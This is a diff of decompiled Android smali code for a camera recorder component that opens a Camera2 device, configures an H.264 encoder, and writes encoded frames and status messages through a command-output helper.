invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v5
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-wide v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->timebyte:J
|
||||
|
||||
sub-long/2addr v5, v7
|
||||
|
||||
long-to-int v5, v5
|
||||
|
||||
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v4}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v1, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 86
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iput v3, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
|
||||
|
||||
.line 87
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iput-short v3, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
|
||||
|
||||
.line 88
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v4
|
||||
|
||||
iput-wide v4, v1, Lcom/nvav/srv/recorder/CameraASUSn;->timebyte:J
|
||||
|
||||
.line 90
|
||||
:cond_0
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
|
||||
|
||||
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->position(I)Ljava/nio/Buffer;
|
||||
|
||||
.line 91
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->offset:I
|
||||
|
||||
iget v4, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
add-int/2addr v1, v4
|
||||
|
||||
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->limit(I)Ljava/nio/Buffer;
|
||||
|
||||
.line 92
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
new-array v1, v1, [B
|
||||
|
||||
.line 93
|
||||
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->get([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 94
|
||||
iget v0, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
|
||||
:try_end_0
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_0 .. :try_end_0} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_0 .. :try_end_0} :catch_2
|
||||
|
||||
const/4 v4, 0x3
|
||||
|
||||
const/4 v5, 0x2
|
||||
|
||||
if-ne v0, v5, :cond_1
|
||||
|
||||
.line 96
|
||||
:try_start_1
|
||||
new-instance p3, Ljava/io/ByteArrayOutputStream;
|
||||
|
||||
invoke-direct {p3}, Ljava/io/ByteArrayOutputStream;-><init>()V
|
||||
|
||||
.line 97
|
||||
invoke-virtual {p3, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 98
|
||||
invoke-virtual {p3, v5}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 99
|
||||
invoke-virtual {p3, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
.line 100
|
||||
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->flush()V
|
||||
|
||||
.line 101
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$002(Lcom/nvav/srv/recorder/CameraASUSn;[B)[B
|
||||
|
||||
.line 102
|
||||
invoke-virtual {p3}, Ljava/io/ByteArrayOutputStream;->close()V
|
||||
:try_end_1
|
||||
.catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_0
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_1 .. :try_end_1} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_1 .. :try_end_1} :catch_2
|
||||
|
||||
goto/16 :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception p3
|
||||
|
||||
.line 104
|
||||
:try_start_2
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_2 .. :try_end_2} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_2 .. :try_end_2} :catch_2
|
||||
|
||||
goto/16 :goto_1
|
||||
|
||||
.line 108
|
||||
:cond_1
|
||||
:try_start_3
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$108(Lcom/nvav/srv/recorder/CameraASUSn;)I
|
||||
|
||||
.line 109
|
||||
new-instance v0, Ljava/io/ByteArrayOutputStream;
|
||||
|
||||
invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
|
||||
|
||||
.line 110
|
||||
invoke-virtual {v0, v4}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 111
|
||||
iget p3, p3, Landroid/media/MediaCodec$BufferInfo;->flags:I
|
||||
|
||||
if-ne p3, p1, :cond_2
|
||||
|
||||
.line 112
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {p3}, Lcom/nvav/srv/recorder/CameraASUSn;->access$100(Lcom/nvav/srv/recorder/CameraASUSn;)I
|
||||
|
||||
move-result v2
|
||||
|
||||
iput v2, p3, Lcom/nvav/srv/recorder/CameraASUSn;->endkey:I
|
||||
|
||||
.line 113
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraASUSn;->access$000(Lcom/nvav/srv/recorder/CameraASUSn;)[B
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {p3, v2}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 114
|
||||
invoke-virtual {v0, p1}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
const/4 p3, 0x4
|
||||
|
||||
.line 115
|
||||
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
.line 116
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->endkey:I
|
||||
|
||||
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 117
|
||||
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 119
|
||||
:cond_2
|
||||
invoke-virtual {v0, v3}, Ljava/io/ByteArrayOutputStream;->write(I)V
|
||||
|
||||
.line 120
|
||||
invoke-static {v2}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
.line 121
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v2}, Lcom/nvav/srv/recorder/CameraASUSn;->access$100(Lcom/nvav/srv/recorder/CameraASUSn;)I
|
||||
|
||||
move-result v2
|
||||
|
||||
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 122
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v2, v2, Lcom/nvav/srv/recorder/CameraASUSn;->endkey:I
|
||||
|
||||
invoke-virtual {p3, v2}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
.line 123
|
||||
invoke-virtual {p3}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {v0, p3}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
.line 125
|
||||
:goto_0
|
||||
invoke-virtual {v0, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
|
||||
|
||||
.line 126
|
||||
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->flush()V
|
||||
|
||||
.line 127
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p3, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 128
|
||||
invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->close()V
|
||||
:try_end_3
|
||||
.catch Ljava/io/IOException; {:try_start_3 .. :try_end_3} :catch_1
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_3 .. :try_end_3} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_3 .. :try_end_3} :catch_2
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception p3
|
||||
|
||||
.line 130
|
||||
:try_start_4
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p3}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 135
|
||||
:cond_3
|
||||
:goto_1
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p3, p2, p1}, Landroid/media/MediaCodec;->releaseOutputBuffer(IZ)V
|
||||
:try_end_4
|
||||
.catch Ljava/lang/ArithmeticException; {:try_start_4 .. :try_end_4} :catch_3
|
||||
.catch Ljava/lang/IllegalStateException; {:try_start_4 .. :try_end_4} :catch_2
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_2
|
||||
move-exception p2
|
||||
|
||||
.line 140
|
||||
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p3, p2}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 141
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_3
|
||||
move-exception p1
|
||||
|
||||
.line 137
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 138
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->reset()V
|
||||
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOutputFormatChanged(Landroid/media/MediaCodec;Landroid/media/MediaFormat;)V
|
||||
.locals 0
|
||||
|
||||
.line 153
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->getOutputFormat()Landroid/media/MediaFormat;
|
||||
|
||||
.line 154
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=MediaCodecf onOutputFormatChanged."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,595 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUSn$2;
|
||||
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
|
||||
.source "CameraASUSn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
|
||||
.locals 0
|
||||
|
||||
.line 159
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 1
|
||||
|
||||
.line 197
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Camera close."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 1
|
||||
|
||||
.line 201
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Camera disconnected."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
const/4 p1, 0x1
|
||||
|
||||
.line 202
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
|
||||
.locals 1
|
||||
|
||||
.line 206
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Camera error."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 207
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
filled-new-array {p2}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
const-string v0, "result=C.E(%d)"
|
||||
|
||||
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 11
|
||||
|
||||
.line 162
|
||||
const-string v0, "frame-rate"
|
||||
|
||||
const-string v1, "bitrate"
|
||||
|
||||
const-string v2, "video/avc"
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v4, "result=Camera open."
|
||||
|
||||
invoke-virtual {v3, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 164
|
||||
:try_start_0
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 165
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCameraManager:Landroid/hardware/camera2/CameraManager;
|
||||
|
||||
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
.line 166
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
|
||||
|
||||
.line 167
|
||||
const-class v3, Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 168
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
const/4 v4, 0x0
|
||||
|
||||
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
.line 169
|
||||
array-length v3, p1
|
||||
|
||||
const/4 v5, 0x0
|
||||
|
||||
move v6, v5
|
||||
|
||||
:goto_0
|
||||
const/4 v7, 0x2
|
||||
|
||||
if-ge v6, v3, :cond_1
|
||||
|
||||
aget-object v8, p1, v6
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v9
|
||||
|
||||
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v7, v10, v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v7
|
||||
|
||||
if-ne v9, v7, :cond_0
|
||||
|
||||
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v10, 0x3
|
||||
|
||||
aget-object v9, v9, v10
|
||||
|
||||
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v9
|
||||
|
||||
if-ne v7, v9, :cond_0
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v6, v6, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 170
|
||||
:cond_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=Width:%d Height:%d"
|
||||
|
||||
new-array v6, v7, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
aput-object v7, v6, v5
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v7
|
||||
|
||||
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
const/4 v8, 0x1
|
||||
|
||||
aput-object v7, v6, v8
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 171
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v3
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraASUSn;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v6
|
||||
|
||||
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
.line 172
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "color-format"
|
||||
|
||||
const v6, 0x7f000789
|
||||
|
||||
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 173
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v6, 0x5
|
||||
|
||||
aget-object v3, v3, v6
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
iput v3, p1, Lcom/nvav/srv/recorder/CameraASUSn;->FPS:I
|
||||
|
||||
.line 174
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$2;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v3, v3, v5
|
||||
|
||||
